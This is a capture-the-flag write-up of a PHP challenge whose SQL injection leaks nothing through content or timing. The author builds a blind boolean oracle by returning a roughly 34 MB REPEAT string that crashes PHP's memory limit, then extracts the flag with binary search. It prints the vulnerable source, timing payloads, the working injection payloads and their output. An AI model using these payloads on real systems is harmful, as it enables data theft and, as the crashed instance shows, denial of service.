PHault
Identical responses and padded timing close every usual channel, so the oracle becomes PHP's memory_limit: a 34 MB row makes the page fatal.
pwnsec{9b085c02c6422261} The challenge
No handout, just an instance. Visiting it prints its own source via highlight_file(__FILE__):
$START = microtime(true);
ob_start();
register_shutdown_function(function () use ($START) {
$remaining = 2.0 - (microtime(true) - $START);
if ($remaining > 0) {
usleep((int)($remaining * 1000000));
}
}); // no timing attack!!
mysqli_report(MYSQLI_REPORT_OFF);
$db = new mysqli("127.0.0.1", "user", "user", "chall");
echo highlight_file(__FILE__, true);
if (isset($_GET["id"])) {
$sql = "SELECT username FROM users WHERE id = " . $_GET["id"];
$res = $db->query($sql);
if (!$res) {
die("ill try to tell him, dw");
}
$row = $res->fetch_row();
echo 'ill try to tell him, dw';
}
The SQL injection is completely open. The problem is that nothing leaks.
The content is identical. On failure die("ill try to tell him, dw"), on success echo 'ill try to tell him, dw'. $row is never used. The two paths are byte-for-byte identical.
$ curl -s '.../?id=1' | md5sum # success
0ec72ef8a1d884659b258bfbb63409d0
$ curl -s '.../?id=1 UNION SELECT 1,2' | md5sum # column count mismatch -> die
0ec72ef8a1d884659b258bfbb63409d0
The timing is identical. The shutdown function pads every response to 2.0 s.
Time-based really is closed
The // no timing attack!! comment is only half true: the padding covers anything under 2 seconds, so exceeding 2 seconds would show. That was the obvious first target — but nothing moved the response off 2.7 s (0.75 s RTT plus 2.0 s of padding).
1 AND SLEEP(5) 2.70s
1 UNION SELECT SLEEP(5) 2.72s
1 OR GET_LOCK('x',5) 2.71s
1 OR SLEEP(5) FOR UPDATE 2.74s <- trying to dodge read-only
1 UNION SELECT BENCHMARK(100000000,SHA1('x')) 2.71s
1 UNION SELECT A.TABLE_NAME FROM
information_schema.columns A,
information_schema.columns B 2.70s <- multi-million-row cartesian
MySQL has max_execution_time set, so every long SELECT is killed. Turning the query into a locking read with FOR UPDATE did not get around it either. Time is genuinely a dead channel.
The real channel — PHP’s memory_limit
Being stuck there suggested inverting the idea: if the query cannot be made slower, make PHP fall over. mysqli::query() defaults to MYSQLI_STORE_RESULT, which buffers the whole result set on the PHP heap, so a single sufficiently large row blows past memory_limit.
REPEAT('a',30000000) -> len=4557 normal
REPEAT('a',35000000) -> len=169 *
REPEAT('a',50000000) -> len=169 *
REPEAT('a',70000000) -> len=4557 MySQL fails first (max_allowed_packet)
What that 169-byte response is:
<b>Fatal error</b>: Allowed memory size of 67108864 bytes exhausted
(tried to allocate 50000040 bytes) in <b>/var/www/html/index.php</b> on line <b>15</b>
memory_limit is 64 MB, and a 35 MB string is held twice — once in the mysqli buffer, once as a PHP string — which crosses it. The upper bound is max_allowed_packet (64 MB); above that MySQL fails first and the response goes back to normal. The window is roughly 35 MB to 60 MB.
That completes a boolean oracle:
?id=1 UNION SELECT IF((<condition>), REPEAT('a',34000000), 'x')
true -> 169 bytes (PHP fatal)
false -> 4557 bytes (normal response)
No amount of timing defence matters; the length says everything.
Extraction
(SELECT COUNT(*) FROM information_schema.tables
WHERE table_schema=DATABASE() AND table_name LIKE '%fl%')>0 -> true
Binary search gives flag.flag, 24 characters long. Confirming the format first cuts the request count dramatically:
(SELECT flag FROM flag LIMIT 1) REGEXP '^pwnsec\\{[0-9a-f]{16}\\}$' -> true
pwnsec{ (7) + 16 hex + } (1). With only 16 possible symbols each character needs 4 binary-search steps rather than 7 — 16 × 4 = 64 requests total.
$ python3 grab.py
[ 8] 9
[ 9] b
...
FLAG: pwnsec{9b085c02c6422261}
Verified once more with an equality check (... COLLATE utf8mb4_bin = 'pwnsec{9b085c02c6422261}' → 169).
Things that went wrong
The instance was killed twice. The first run used 8 threads, and since every true answer makes PHP claim 64 MB, that is 512 MB in flight at once. The container OOMed and Apache stopped answering entirely. Dropping to 2–3 concurrent requests with backoff-and-retry on failure made it stable. When the oracle burns a resource, parallelising it is self-harm.
“I thought the DB was down.” Because every query returned the same body in the same time, it looked for a while like new mysqli() itself was failing and everything was hitting die. The challenge would be unsolvable under that assumption, so continuing on the premise that the DB was alive and hunting for a different channel was the right call — and the memory oracle proved it was alive the moment it worked.
One lesson. When an author helpfully tells you a channel is closed (// no timing attack!!), it usually means look somewhere else. Blocking time left the response size — and the server-side resource limits that change it — completely untouched.
Files
exp.py— the oracle plus a general blind extractor (schema dump)grab.py— the fast hex-only extractor used once the format was known